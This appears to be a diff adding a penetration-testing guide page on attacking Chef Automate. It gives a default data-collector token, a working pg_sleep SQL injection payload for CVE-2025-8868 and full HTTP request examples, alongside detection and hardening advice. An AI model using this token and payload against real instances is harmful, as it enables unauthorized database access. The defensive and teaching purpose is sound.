|
| 1 | +# Chef Automate Enumeration & Attacks |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Overview |
| 6 | + |
| 7 | +This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on: |
| 8 | +- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses |
| 9 | +- Abusing the x-data-collector-token authentication header when defaults are present |
| 10 | +- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search |
| 11 | + |
| 12 | +> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services. |
| 13 | +
|
| 14 | +## Recon: Architecture and Fingerprints |
| 15 | + |
| 16 | +- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...) |
| 17 | +- API transport: REST to gRPC via gRPC-Gateway |
| 18 | + - Responses may include grpc-metadata-content-type: application/grpc |
| 19 | +- Database/driver fingerprints: |
| 20 | + - Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver |
| 21 | +- Interesting Compliance endpoints (auth required): |
| 22 | + - POST /api/v0/compliance/profiles/search |
| 23 | + - POST /api/v0/compliance/scanner/jobs/search |
| 24 | + |
| 25 | +## Auth: Data Collector Token (x-data-collector-token) |
| 26 | + |
| 27 | +Chef Automate exposes a data collector that authenticates requests via a dedicated header: |
| 28 | + |
| 29 | +- Header: x-data-collector-token |
| 30 | +- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild: |
| 31 | + - 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 |
| 32 | + |
| 33 | +If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening. |
| 34 | + |
| 35 | +## API Schema Inference via Error-Driven Discovery |
| 36 | + |
| 37 | +gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model. |
| 38 | + |
| 39 | +For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with: |
| 40 | + |
| 41 | +- type: string (filter field identifier) |
| 42 | +- values: array of strings |
| 43 | + |
| 44 | +Example request shape: |
| 45 | + |
| 46 | +```json |
| 47 | +{ |
| 48 | + "filters": [ |
| 49 | + { "type": "name", "values": ["test"] } |
| 50 | + ] |
| 51 | +} |
| 52 | +``` |
| 53 | + |
| 54 | +Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces. |
| 55 | + |
| 56 | +## Compliance API SQL Injection (CVE-2025-8868) |
| 57 | + |
| 58 | +- Affected endpoint: POST /api/v0/compliance/profiles/search |
| 59 | +- Injection point: filters[].type |
| 60 | +- Vulnerability class: time-based blind SQL injection in PostgreSQL |
| 61 | +- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL. |
| 62 | + |
| 63 | +Working time-based payload: |
| 64 | + |
| 65 | +```json |
| 66 | +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} |
| 67 | +``` |
| 68 | + |
| 69 | +Technique notes: |
| 70 | +- Close the original string with a single quote |
| 71 | +- Concatenate a subquery that calls pg_sleep(N) |
| 72 | +- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded |
| 73 | + |
| 74 | +### Proof via differential latency |
| 75 | + |
| 76 | +Send paired requests and compare response times to validate server-side execution: |
| 77 | + |
| 78 | +- N = 1 second |
| 79 | + |
| 80 | +``` |
| 81 | +POST /api/v0/compliance/profiles/search HTTP/1.1 |
| 82 | +Host: <target> |
| 83 | +Content-Type: application/json |
| 84 | +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 |
| 85 | +
|
| 86 | +{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]} |
| 87 | +``` |
| 88 | + |
| 89 | +- N = 5 seconds |
| 90 | + |
| 91 | +``` |
| 92 | +POST /api/v0/compliance/profiles/search HTTP/1.1 |
| 93 | +Host: <target> |
| 94 | +Content-Type: application/json |
| 95 | +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 |
| 96 | +
|
| 97 | +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} |
| 98 | +``` |
| 99 | + |
| 100 | +Observed behavior: |
| 101 | +- Response times scale with pg_sleep(N) |
| 102 | +- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths |
| 103 | + |
| 104 | +> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives. |
| 105 | +
|
| 106 | +### Impact |
| 107 | + |
| 108 | +Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry. |
| 109 | + |
| 110 | +### Affected versions / Fix |
| 111 | + |
| 112 | +- CVE: CVE-2025-8868 |
| 113 | +- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories |
| 114 | + |
| 115 | +## Detection and Forensics |
| 116 | + |
| 117 | +- API layer: |
| 118 | + - Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep |
| 119 | + - Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows |
| 120 | +- Database layer (PostgreSQL): |
| 121 | + - Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver) |
| 122 | +- Authentication: |
| 123 | + - Log and alert on usage of x-data-collector-token, especially known default values, across API paths |
| 124 | + |
| 125 | +## Mitigations and Hardening |
| 126 | + |
| 127 | +- Immediate: |
| 128 | + - Rotate/disable default data collector tokens |
| 129 | + - Restrict ingress to data collector endpoints; enforce strong, unique tokens |
| 130 | +- Code-level: |
| 131 | + - Parameterize queries; never string-concatenate SQL fragments |
| 132 | + - Strictly whitelist allowed type values on the server (enum) |
| 133 | + - Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists |
| 134 | + |
| 135 | +## Practical Testing Checklist |
| 136 | + |
| 137 | +- Check if x-data-collector-token is accepted and whether the known default works |
| 138 | +- Map the Compliance API request schema by inducing validation errors and reading error messages/headers |
| 139 | +- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields |
| 140 | +- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts |
| 141 | + |
| 142 | +## References |
| 143 | + |
| 144 | +- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate) |
| 145 | +- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/) |
| 146 | +- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868) |
| 147 | +- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway) |
| 148 | +- [pq PostgreSQL driver for Go](https://github.com/lib/pq) |
| 149 | + |
| 150 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments